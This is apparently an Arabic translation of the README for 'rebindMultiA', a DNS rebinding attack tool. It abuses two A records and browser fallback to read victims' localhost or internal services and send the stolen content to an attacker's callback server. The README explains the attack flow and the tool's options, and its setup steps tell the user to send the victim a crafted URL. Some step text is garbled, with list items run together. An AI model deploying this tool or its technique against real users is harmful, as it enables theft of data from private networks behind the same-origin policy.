
أداة هجوم إعادة ربط DNS تستغل سجلات A متعددة لتجاوز سياسة نفس المصدر وتسريب البيانات من خدمات الشبكة الداخلية عبر سلوك التراجع في المتصفح.
rebindMultiA هي أداة لتنفيذ هجوم إعادة ربط سجلات A المتعددة (Multiple A Record rebind attack).
rebindmultia.com هو نطاق قمت بإعداده للمساعدة في هذه الهجمات. يجعل كل عنوان IP خادم أسماء موثوقًا خاصًا به للنطاق [IP].ns.rebindmultia.com. على سبيل المثال، خادم الأسماء الموثوق لـ 13.33.33.37.ns.rebindmultia.com هو 13.33.33.37.ip.rebindmultia.com والذي يحل (كما خمنت على الأرجح) إلى 13.33.33.37.
هجوم إعادة ربط سجلات A المتعددة هو أحد أشكال إعادة ربط DNS (DNS Rebinding) الذي يسخّر قدرة المهاجم على الرد بعنواني IP استجابةً لطلب DNS، وميل المتصفح إلى الرجوع إلى عنوان IP الثاني في استجابة DNS عندما لا يستجيب الأول. في هذا الهجوم، سيقوم المهاجم بتكوين خادم DNS خبيث وخادمي HTTP خبيثين. سيرد خادم DNS بسجلين A:
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1
ثم سيتصل متصفح الضحية بعنوان IP الأول ويبدأ في التفاعل مع خادم HTTP الخبيث الأول للمهاجم. سيرد هذا الخادم بصفحة تحتوي على إطارين iframe، واحد إلى /steal والآخر إلى /rebind. سيقوم إطار /steal بتحميل صفحة خبيثة للوصول إلى الإطار الثاني وسرقة المحتوى. وعند الوصول إلى نقطة النهاية /rebind، ستصدر إعادة توجيه 302 إلى / وتقوم بقتل خادم HTTP الخبيث الأول. ونتيجة لذلك، عندما يعاود المتصفح الاتصال بخادم HTTP الخاص بالمهاجم، سيجد المنفذ مغلقًا. وبالتالي، سيعود إلى عنوان IP الثاني. بمجرد تحميل المحتوى المستهدف في الإطار الثاني، يمكن للإطار الأول الوصول إليه، وسرقة البيانات، وإرسالها إلى خادم HTTP الخبيث الثاني للمهاجم - خادم الاستدعاء.
يعمل هذا الهجوم فقط في بيئة ويندوز. ستعطي أنظمة لينكس وماك الأولوية لعنوان IP الخاص أولاً ولن يتم أبدًا الاستعلام عن خادم المهاجم.

127.0.0.1.target.13.33.33.37.ns.rebindmultia.com.server.py) بتحليل اسم DNS المطلوب وإرجاع سجلين A: 13.33.33.37 و 127.0.0.1.server.py) ويحمل الصفحة /parent التي تحتوي على إطارين iframe./steal من خادم HTTP الخبيث للمهاجم./rebind مما يؤدي إلى إعادة توجيه 302 إلى / (سيخرج خادم HTTP بعد هذا الطلب)./ وفقًا لـ 302 من خادم المهاجم./ من خادم HTTP الخاص بالمهاجم (الذي أصبح الآن ميتًا)، لكنه يفشل في ذلك.pip3 install -r requirements.txt
python3 server.py --help
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /
إذا حصلت على هذا الخطأ:
┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py
Traceback (most recent call last):
File "server.py", line 2, in <module>
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'
فأنت بحاجة إلى استخدام إصدار أحدث من بايثون. Python 3.7+.
يجب تنفيذ هذا من عنوان IP قابل للوصول عمومًا.
git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "أرسل ضحيتك إلى http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent لتسريب 127.0.0.1"
sudo python3 server.py
127.0.0.1steal الخاص بالمهاجم إلى الإطار الثاني الذي تم تحميله حديثًا ويسرق المحتوى.steal الخاص بالمهاجم النتائج إلى خادم الاستدعاء الخاص بالمهاجم.